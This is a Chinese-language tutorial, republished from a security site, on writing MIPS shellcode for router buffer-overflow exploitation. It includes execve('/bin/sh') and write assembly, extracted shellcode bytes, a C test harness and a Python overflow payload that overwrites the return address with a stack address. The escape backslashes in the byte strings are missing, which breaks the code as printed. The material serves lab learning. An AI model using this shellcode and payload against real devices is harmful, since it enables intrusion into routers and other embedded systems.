原文來自安全客,作者:desword
原文鏈接:https://www.anquanke.com/post/id/153725

前言

今天我們來聊聊如何在MIPS架構中編寫shellcode。在前面的兩篇文章中,我們分別介紹了基于MIPS的緩沖區溢出實踐,以及進一步的如何利用學到的溢出知識復現與驗證路由器的漏洞。但是在上文的路由器漏洞利用的例子里面,我們需要有一個前置條件,即含有漏洞的程序必須導入了系統的庫函數,我們才能方便的驗證,然而這個條件并不是時刻有效的。因此,在本文中,我們介紹路由器漏洞復現的終極奧義——基于MIPS的shellcode編寫。有了shellcode,如果目標程序能夠被溢出,那么我們就可以執行任意的程序。所以說是終極奧義。簡單來說,shellcode就是一段向進程植入的一段用于獲取shell的代碼,(shell即交互式命令程序)。現如今,shellcode從廣義上來講,已經統一指在緩沖區溢出攻擊中植入進程的代碼。因此,shellcode現在所具備的功能不僅包括獲取shell,還包括彈出消息框、開啟端口和執行命令等。

在本文中,我將介紹

  1. 基于MIPS的常用shellcode;
  2. 快速提取shellcode的二進制指令的工具-shell_extractor.py;
  3. 開發的shellcode如何在自己的實驗程序應用。

其中,shellcode二進制指令快速提取工具是我自己開發的。我隨便搜索了一下,沒有發現類似的能夠滿足我需求的工具,所以就自己開發了一個工具,已經開源在shell_extractor),歡迎大家使用。如果大家有更好的工具,歡迎評論。^_^

0. 鳥瞰shellcode

首先,我們先從一個比較直觀的角度來了解一下,一個shellcode它在緩沖區溢出攻擊的過程所扮演的角色和所處的位置。

如圖所示一個常見的MIPS堆棧分配情況

Shellcode最常見的用法,就是把可以執行的命令覆蓋到堆棧里面,通過修改RA跳轉到堆棧的起始位置的方式,達到在堆棧里面執行自己想要的命令的方式。因此shellcode實際上就是一段可執行的匯編指令。講到這里,那么問題來了,怎么編寫這段匯編指令呢?

有兩種思路,第一種:從網上搜索一些shellcode的匯編,編譯之后反編譯,獲取二進制指令。這種方法也可以,也是比較常見的做法。還有一種,需要稍微花一點功夫:即用c語言先寫一個系統命令調用,編譯,然后用IDA反編譯,直接把對應的匯編指令提取出來。不過,在提取對應的匯編指令的時候,需要對存儲的參數的位置,以及對于寄存器的處理進行重新的調整。

比如,我們編寫一個execve的調用程序。execve是shellcode常用的程序之一,它的目的是讓已經嵌入的應用程序執行另外一個程序,比如/bin/sh。

Linux 中對該系統調用的定義如下:

int execve(const char *path, char *const argv[], char *const envp[]);

那么我一個常見的c語言調用execve的代碼可以是這樣的:

#include <stdio.h>
int main()
{
    char *program = "/bin/ls";
    char *arg = "-l";
    char *args[3];
    args[0] = program;
    args[1] = arg;
    args[2] = 0;
    execve(program, args, 0);
}

編譯下,看看IDA反編譯出來是什么樣的

會發現,參數program和arg的是需要重新處理的,比如就跟著放在這段shellcode程序的后面(之后介紹的手動編寫shellcode就會寫到這種處理方式)

execve在跳轉之后,會發現,最終是通過syscall完成的系統調用。

總結來說,這二種方法適合初學者一步一步對應著c源代碼和匯編程序,學習匯編程序的shellcode編寫。但是直接提取的話,會發現冗余的指令過多。在覆蓋堆棧的時候,占用的空間越少,漏洞利用的成功率會越高。因此,本文還是著重第一種方式,即從成熟的處理好的shellcode中學習。感興趣的讀者也可以進一步優化上述代碼,讓它的體積盡可能小,這對于打基礎是非常好的。

前面我們提到,最終execve是通過syscall這個命令實現的系統調用,因此,基于MIPS的shellcode編寫,大部分都是基于syscall這個命令的。

syscall函數的參數形式為 syscall(a0, v0用于保存需要執行的系統調用的調用號,并且按照對應的函數調用規則放置參數。比如調用exit的匯編代碼例子。

li $a0, 0
li $v0, 4001
syscall

其中指令li (x,y)的意思是將立即數y放置到寄存器x中。系統調用好可以在linux系統里找到,比如在/usr/include/mips-linux-gnu/asm/unistd.h里面。本文中,我們圍繞兩個系統命令來展開,并且深入介紹一個完整shellcode開發以及漏洞的流程。即write, execve指令。Write就是輸出字符串到指定流的系統調用。

我們可以找到write的調用號是4004, 而execve是4011.

總體來說,基于MIPS的shellcode開發以及漏洞的流程分為以下的步驟(其他平臺的shellcode開發也類似):

  1. 編寫shellcode的匯編代碼,從網上尋找,或者自己編寫。
  2. 編譯,反編譯之后,提取shellcode的二進制代碼。
  3. 在c中測試提取的二進制代碼。
  4. 構造payload進行測試。

1. Shellcode的匯編代碼構造

首先第一步,shellcode的編寫。一個典型的調用write的c代碼為:

Int main()
{
char *pstr = “ABCn”;
write(1, pstr, 5);
}

寫成shellcode就為write.S

.section .text
.globl __start
.set noreorder
__start:
addiu $sp,$sp,-32        # 抬高堆棧,用來放置參數
li $a0,1                # 傳入第一個參數,表示輸出到stdout
lui $t6,0x4142            
ori $t6,$t6,0x430a        # 放置字符ABCn到$t6中
sw $t6,0($sp)            # 將$t6里面的數據存儲到堆棧中
addiu $a1,$sp,0        # 從堆棧中將ABCn存儲到第二個參數$a1中,
li $a2,5                # 傳入第三個參數,5,表示字符串長度
li $v0,4004            # 傳入write的系統調用號4004
syscall

其中,.section .text 表示當前為.text程序段,.globl __start表示定義程序開始的符號,.set noreorder表示不對匯編指令進行重新排序。

接下來使用下面的腳本來編譯上述匯編指令,要從build-root里面的來編譯。書本《揭秘家用路由器0day漏洞挖掘技術》提供的腳本直接執行了命令as,ld是有問題的,希望大家注意,正確的腳本如同下面類似的

#!/bin/sh
# $ sh nasm.sh <source file> <excute file>
src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-as $src -o s.o
echo "as ok"
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-ld s.o -o $dst
echo "ld ok"
rm s.o

那么下面的命令既可以編譯:

bash nasm.sh write.S write

另外一方面,對于execve(“/bin/sh”, 0, 0)產生而言,典型的shellcode應為execve.S

.section .text
.globl __start
.set noreorder
__start:
li $a2,0x111            #
p:bltzal $a2,p            # 該指令執行后,會使得下下行的地址保存在$ra中
li $a2,0                # 存入第三個參數0,
addiu $sp,$sp,-32        # 拉高堆棧,存放參數
addiu $a0,$ra,28        # $ra+28是下面參數字符串/bin/sh的首地址
sw $a0,-24($sp)        # 將/bin/sh存入開辟的數組
sw $zero,-20($sp)        # 將參數0存入數組
addiu $a1,$sp,-24
li $v0,4011
syscall
sc:                    # 存儲的參數/bin/sh
    .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 

這里推薦的大家一個網址,有大部分的MIPS指令集合:MIPS指令集合 我們會發現,優化過后的execve的shellcode指令長度和直接從c語言編譯再反編譯過來的長度要縮減很多。

2. 提取shellcode對應的二進制代碼

接著,我們需要用程序中提取shellcode對應的二進制代碼。

傳統的方式,需要在IDA中尋找到對應的shellcode的二進制代碼,比如

然后拷貝出來,再處理成這樣類似的字符串形式:

可以發現,工作量還是有不少的。因此,我開發了一個簡單的工具,來自動的從編譯好的二進制代碼中,提取對應的shellcode。使用下面的簡單命令,就可以提取成c測試格式的二進制代碼,或者py測試的。

$ python shell_extractor.py execve c
char shellcode[] = {
"x24x06x06x66"
"x04xd0xffxff"
"x28x06xffxff"
"x27xbdxffxe0"
"x27xe4x10x01"
"x24x84xf0x1f"
"xafxa4xffxe8"
"xafxa0xffxec"
"x27xa5xffxe8"
"x24x02x0fxab"
"x00x00x00x0c"
"x2fx62x69x6e"
"x2fx73x68x00"
};

用法來說,就是:

[+] usage: python shell_extractor.py [filename] [format]
[*] where format can be c or py

這個工具的核心部分,就是利用readelf –S execve這個命令,來獲取shellcode中關鍵code的部分,然后提取出來構造成需要的格式。

比如,上述 的0xd0就是shellcode二進制代碼的起始偏移,0x30就是代碼的長度。

3. c語言中測試shellcode

按照工具里面的構造,選擇c語言格式輸出以后,按照下面的c代碼格式,就可以方便的測試一下shellcode的了。比如對于execve這個函數。

#include <stdio.h>
char shellcode[] = {
"x24x06x06x66"
"x04xd0xffxff"
"x28x06xffxff"
"x27xbdxffxe0"
"x27xe4x10x01"
"x24x84xf0x1f"
"xafxa4xffxe8"
"xafxa0xffxec"
"x27xa5xffxe8"
"x24x02x0fxab"
"x00x00x00x0c"
"x2fx62x69x6e"
"x2fx73x68x00"
};
void main()
{
    void (*s)(void);
    printf("sc size %dn", sizeof(shellcode));
    s = shellcode;
    s();
    printf("[*] work done.n");
}

接著使用如下的腳本:

src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-gcc $src -static -o  $dst

指令命令類似于:

bash comp-mips.sh execve_c.c execve_c

就可以完成編譯

4. 構造payload測試shellcode

到了這一步,payload的構造方式其實和之前介紹的文章差不多的了。唯一的差別就在于,這回需要覆蓋的RA的地址,就是堆棧的起始地址,因此,一個樣例的payload可以是:

import struct
print '[*] prepare shellcode',

#shellcode
shellcode = "A"*0x19C             # padding buf
shellcode += struct.pack(">L",0x408002D8)     # this is the sp address for executing cmd.
shellcode += "x24x06x06x66"
shellcode += "x04xd0xffxff"
shellcode += "x28x06xffxff"
shellcode += "x27xbdxffxe0"
shellcode += "x27xe4x10x01"
shellcode += "x24x84xf0x1f"
shellcode += "xafxa4xffxe8"
shellcode += "xafxa0xffxec"
shellcode += "x27xa5xffxe8"
shellcode += "x24x02x0fxab"
shellcode += "x00x00x00x0c"
shellcode += "x2fx62x69x6e"
shellcode += "x2fx73x68x00"
print ' ok!'
#create password file
print '[+] create password file',
fw = open('passwd','w')
fw.write(shellcode)#'A'*300+'x00'*10+'BBBB')
fw.close()
print ' ok!'

上述的例子基于的漏洞是文章xx中提供的具有漏洞的程序。可以發現是可以成功利用的。

但是,細心的讀者一定發現了,這里面仍然是有nullbyte的,即在調用syscall的時候,shellcode += “x00x00x00x0c”,提取的二進制code是這樣的。其實他可以改成shellcode += “x01x01x01x0c”的形式,就能夠成功繞過null byte的問題了。

這里給感興趣的讀者留一個自己練習的題目,即,同樣是上面的這段shellcode,感興趣的讀者可以試試把這段代碼放到上篇文章xx提到的路由器漏洞中,照葫蘆畫瓢的試試能不能拿到shell。^_^

總結

本文主要介紹了shellcode的編寫流程,以及自己開發的一個快速shellcode二進制代碼提取工具。Shellcode的編寫中,繞過null byte的方式,可以通過優化代碼,比如上述(”x00x00x00x0c”改成x01x01x01x0c),也可以通過對shellcode進行二次編碼的方式。Shellcode的編碼花樣可以很多,可以將shellcode進行壓縮,可以將shellcode的bad bytes給替換掉。這些內容將在未來介紹。


本文經安全客授權發布,轉載請聯系安全客平臺。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/657/